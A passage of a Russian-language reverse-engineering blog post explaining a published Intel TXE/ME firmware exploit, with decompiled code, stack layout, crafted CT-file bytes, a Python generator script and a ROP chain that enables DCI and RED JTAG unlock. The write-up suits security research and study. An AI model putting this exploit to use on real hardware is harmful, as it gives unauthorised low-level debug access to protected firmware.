Итак, согласно презентации BlackHat, при вызове bup_read_mfs_file, происходит фрагментарное чтение файла MFS, а при вызове sys_write_shared_memory, выполняется наш эксплойт, но из стека, который я разместил и проанализировал выше. Но это не совсем то, что происходит, потому что я могу увидеть поврежденный стек (переписанный последующими вызовами), который доказывает, что bup_read_mfs_file вернулся до того, как произошло выполнение эксплойта, а затем, после реверсинга кода, я заметил, что фрагментарное чтение не происходит. И теперь это объясняет, почему всё не так, как в презентации. Так что эксплойт должен происходить между вызовом bup_dfs_read_file и окончания bup_init_trace_hub, так как security cookie (stack guard) уничтожается при переполнении буфера, поэтому мы не можем позволить bup_init_trace_hub вернуть его... Если посмотреть, что происходит в bup_init_trace_hub после вызова bup_dfs_read_file, то мы увидим это :
C++:
void bup_init_trace_hub() {
   char ct_data[808];
   int file_size;
   int bytes_read;

   // again, simplification
   bup_dfs_get_file_size("/home/bup/ct", &file_size)
   bup_dfs_read_file("/home/bup/ct", 0, ct_data, file_size, &bytes_read)

   CT *ct = (CT *)ct_data;
   for (uint16_6 i = 0; i < ct->num_entries; i++) {
       if (ct->entries[i].selector == 1)
          set_segment_word(7, ct->entries[i].offset, ct->entries[i].value)
       if (ct->entries[i].selector == 2)
          set_segment_word(0xBF, ct->entries[i].offset, ct->entries[i].value)
   }
   bup_init_trace_hub_set_systracer(7, 0xBF)
}

// sub_49AD3
// The following is a small function that gets called and sets flags on
// the systracer context value and returns.
bup_init_trace_hub_set_systracer(unsigned int seg1, unsigned int seg2)
{
   // sys_get_sys_tracer_ctx() returns syslib_context + 0x200
   char *systracer = sys_get_sys_tracer_ctx();

   // Set the DWORD at address systracer + 0x10 to the first argument
   *(uint32_t *)(systracer + 0x10) = seg1;

   // Set bits 0 and 1 of systracer to 1 and clear bits 6 and 7
   systracer[0] |= 3;
   systracer[0] &= 0x3F;
   // set bit 6 of systracer to the same as bit 3 of 0xBF:10
   systracer[0] |= ((get_segment_word(seg2, 0x10) >> 3) & 1) << 6
   // set bit 7 of systracer to the same as bit 7 of 0xBF:10
   systracer[0] |= get_segment_word(seg2, 0x10) & 0x80
   // Clear bits 8 and 9 of systracer
   systracer[1] &= 0xFC;
   // set bit 8 of systracer to the same as bit 11 of 0xBF:10
   systracer[1] |= (get_segment_word(seg2, 0x10) >> 11) & 1
   // set bit 9 of systracer to the same as bit 24 of 0xBF:E0
   systracer[1] |= ((get_segment_word(seg2, 0xE0) >> 24) & 1) << 1;
}
Контекст systracer находится в положении syslib_ctx + 0x200, и если мы еще раз посмотрим, что делает эксплойт от PT, то он устанавливает syslib_ctx в положение 0x55a58, так что модифицированные данные (systracer) находятся в положении 0x55c58, что является адресом возврата самой функции bup_init_trace_hub_set_systracer. Вот как на самом деле выглядит стек, если мы проследим за всеми push/pop/call/ret от точки входа до момента, когда выполняется эксплойт:
Код:
TXE STACK - bup_entry:
0x56000: STACK TOP
0x55FEC: TLS

0x55FE8: ecx - arg to bup_main
0x55FE4: edx - arg
0x55FE0: eax - arg
0x55FDC: retaddr - call bup_main
   0x55FD8: saved ebp of bup_entry

   0x55FD4: 0 - arg to bup_run_init_scripts
   0x55FD0: retaddr - call bup_run_init_scripts
     0x55FCC: saved ebp of bup_main
     0x55FC8: saved edi
     0x55FC4: saved esi
     0x55FC0: saved ebx
     0x55FBC: var_10

     0x55FB8: retaddr - call bup_init_trace_hub
       0x55FB4: saved ebp of bup_run_init_scripts
       0x55FB0: saved esi
       0x55FAC: saved ebx
       0x55C64: STACK esp-0x348
         0x55FA8: security cookie
         0x55C80: ct_data
         0x55C6C: si_features
         0x55C68: file_size
         0x55C64: bytes_read

         0x55C60: 0xBF - arg to bup_init_trace_hub_set_systracer
         0x55C5C: 7 - arg
         0x55C58: retaddr - call bup_init_trace_hub_set_systracer
           0x55C54: saved ebp of bup_init_trace_hub
Таким образом, видно, что модифицируемое значение является 0x55c58, которое в соответствии со стеком является адресом возврата bup_init_trace_hub_set_systracer, если посмотреть на дамп стека раньше, то видно также, что значение 0x55c68 равно 7, как и ожидалось (за счет *(uint32_t *)(systracer + 0x10) = seg1;). Если мы можем контролировать возвращаемое значение нашей собственной функции, то мы контролируем то, что мы выполняем.

Единственное, что может контролироваться нашим возвращаемым значением - это биты 0, 1, 6, 7, 8 и 9. Биты 0 и 1 всегда устанавливаются на 1, биты 6, 7 и 8 зависят от значения, сохраненного в сегменте 0xBF со смещением 0x10, а бит 9 зависит от значения, сохраненным в сегменте 0xBF со смещением 0xE0. К счастью, оба эти значения в сегменте 0xBF могут быть установлены через заголовок файла конфигурации tracehub (цикл в конце bup_init_trace_hub).

Заголовок файла ct имеет такой формат:
C++:
struct {
   uint8_t ignore[6];
   uint16_t num_entries;
   struct {
      uint24_t offset; // offset in the segement is only 20 bits
      uint8_t segment_selector; // if value is 1, segment is 0x07, if value is 2, segment is 0xBF
      uint32_t value; // Value to set in segment_selector:offset
   }[num_entries];
};
При этом заголовок файла ct устанавливается эксплойтом в:

Код:
00 00 00 00 00 00 02 00 e0 00 00 02 00 00 00 5f
10 00 00 02 88 08 00 00 00 00 00 00 00 00 00 00
Мы можем увидеть, что он имеет 2 записи, которые устанавливают 0xBF:E0 в 0x5F000000 и 0xBF:10 в 0x000888.

При установке этих значений функция bup_init_trace_hub_set_systracer, вызываемая в bup_init_trace_hub, перезапишет свой собственный адрес возврата при смещении 0x55C58 от 0x4995B до 0x49BDB, что заставляет ее «перепрыгнуть» в середину sub_49BB6 со стеком/ регситром ebp bup_init_trace_hub, таким образом, когда эта функция вернётся, она вернётся по адресу, сохранённому в смещении retaddr bup_init_trace_hub, которое равно 0x55FB8. Обратите внимание, что функция sub_49BB6 не проверяет стек на наличие security cookie, и точка, в которую мы «перепрыгиваем», заставляет ее вызывать несколько функций, которые просто возвращаются с ошибкой, потому что их параметры неправильные.

Этот адрес 0x55FB8, содержащий retaddr, находится на позиции 0x338 в ct-файле (0x56000 - 0x55FB8 = 0x48 байт из конца файла размером 0x380), который содержит:

1a 6e 01 00 98 5c 05 00

Адрес 0x16e1a находится в середине существующей инструкции, но он будет интерпретирован как pop esp, за которой последует ret. При этом в указатель стека выводится следующее значение 0x55c98 и возвращается к нему. Если вы помните, я говорил, что буфер ct сохраняется в 0x55C80 (что также видно из анализа стека выше), поэтому адрес 0x55C98 находится со смещением 0x18 в файле CT (который находится сразу после заголовка и тех 2 записей, которые устанавливают значения в сегменте 0xBF), где мы находим актуальные гаджеты ROP, которые включают DCI, устанавливают RED разблокировку, а затем входим в бесконечный цикл.

Если мы взглянем еще раз на python скрипт, который генерирует CT файл для эксплойта, то теперь мы можем понять все, что он делает:
Python:
STACK_BASE = 0x00056000
BUFFER_OFFSET = 0x380
SYS_TRACER_CTX_OFFSET = 0x200
SYS_TRACER_CTX_REQ_OFFSET = 0x55c58
RET_ADDR_OFFSET = 0x338


def GenerateTHConfig():
    print("[*] Generating fake tracehub configuration...")
    trace_hub_config   = struct.pack("<B", 0x0)*6
    trace_hub_config  += struct.pack("<H", 0x2)
    trace_hub_config  += struct.pack("<L", 0x020000e0)
    trace_hub_config  += struct.pack("<L", 0x5f000000)
    trace_hub_config  += struct.pack("<L", 0x02000010)
    trace_hub_config  += struct.pack("<L", 0x00000888)

def GenerateRops():
    print("[*] Generating rops...")
    # Let's ignore this for now

def GenerateShellCode():
    syslib_ctx_start = SYS_TRACER_CTX_REQ_OFFSET - SYS_TRACER_CTX_OFFSET
    data  = GenerateTHConfig()
    init_trace_len = len(data)
    data += GenerateRops()
    data += struct.pack("<B", 0x0)*(RET_ADDR_OFFSET - len(data))
    data += struct.pack("<L", 0x00016e1a)
    data += struct.pack("<L", STACK_BASE - BUFFER_OFFSET + init_trace_len)

    data_tail = struct.pack("<LLLLL", 0, syslib_ctx_start,  0, 0x03000300, STACK_BASE-4)
    data += struct.pack("<B", 0x0)*(BUFFER_OFFSET - len(data) - len(data_tail))
    data += data_tail
    return data
Единственное оставшееся таинственное число находится в переменной data_tail, которая является структурой TLS. Значение 0x03000300 - это просто идентификатор потока.

Rops

Последняя версия эксплойта, который позволяет вызывать процессор, просто добавляет гаджеты ROP, необходимые для продолжения инициализации bup точно так же, как это было бы сделано, сразу после возврата bup_init_trace_hub (путем сброса контекста syslib в нужное значение, а затем восстановления стека и регистров и возврата в bup_run_scripts).

s довольно просты, они делают две вещи : Сначала они включают интерфейс DCI, затем устанавливают значение DfX-агрегатора на 3 (что включает RED-разблокировку для JTAG), после чего входят в бесконечный цикл.
C++:
// Enable DCI
side_band_mapping(0x706a8, 0x100);
put_sel_word(0x19F, 0, 0x1010); // Sets 0x19F:0 to 0x1010

// Set DfX-agg personality
side_band_mapping(0x70684, 0x100);
put_sel_word(0x19F, 0x8400, 3); // Sets 0x19F:8400 to 3

loop();
Долгое время я задавался вопросом "что это за sideband mapping" и "что это за значения 0x706a8 и 0x70684". Я объясню это в следующем посте блога (в ближайшие пару дней), но вкратце, это приводит к тому, что сегмент 0x19F сопоставляется с частными реестрами конфигурации (PCR) DCI и Private Configuration Registers (PCRs) DfX Aggregator devices. Таким образом, сначала вы сопоставляете сегмент 0x19F с PCR устройства DCI, затем включаете DCI, устанавливая флаги на 1, затем сопоставляете сегмент 0x19F с устройством DfX-agg, а после всего этого устанавливаете регистр значения в его PCR со смещением от 0x8400 до 3 (red).

Установив только эти два значения, вы включаете DCI и RED разблокировку, и эксплойт работает. Поздравляем, теперь вы можете играть с вашим CSE устройством через JTAG.

Заключение

В файле CT есть 4 вещи :
  • Header: который устанавливает различные значения в сегменте 0xBF для работы системного анализатора
  • Big ROPs: которые выполняют пользовательский код, который мы хотим включить DCI и RED разблокировки
  • Маленькие ROPs: Маленький заголовок при смещении 0x338, который делает поп-эсп; повторите, чтобы вернуть нас к первому большому ROP'у.
  • TLS: модифицированный заголовок TLS, который указывает контекст syslib на 0x55A58, таким образом, смещение systracer указывает на обратный адрес функции, которая его устанавливает.
Новый TLS имеет новый syslib-контекст, который указывает смещение systracer на адрес возврата функции bup_init_trace_hub_set_systracer, которая модифицирует его, используя значения в заголовке ct-файла, чтобы перейти к смещению 0x49BDB в sub_49BB6 таким образом, чтобы при возвращении этой функции, он перейдет на маленький ROP, который заменит ESP на адрес большой ROPs, а затем выполнит их и включит DCI, JTAG и продолжит инициализировать процесс в зависимости от версии используемого эксплойта.

Да... это было очень весело. Так что, этот эксплойт не совсем тот же самый, что и эксплойт Skylake. Эксплойт Skylake на самом деле довольно сложен для понимания, потому что он включает в себя больше переменных. Полагаю, это и есть причина, по которой PT не выпустил его.

В следующем посте я объясню, как я портировал этот эксплойт на ME 11.x, используя информацию, предоставленную Positive Technologies, и объясню, как портировать на него вашу собственную версию ME, используя то, что я написал в качестве базы.

Спасибо за внимание!
 
Мы в соцсетях: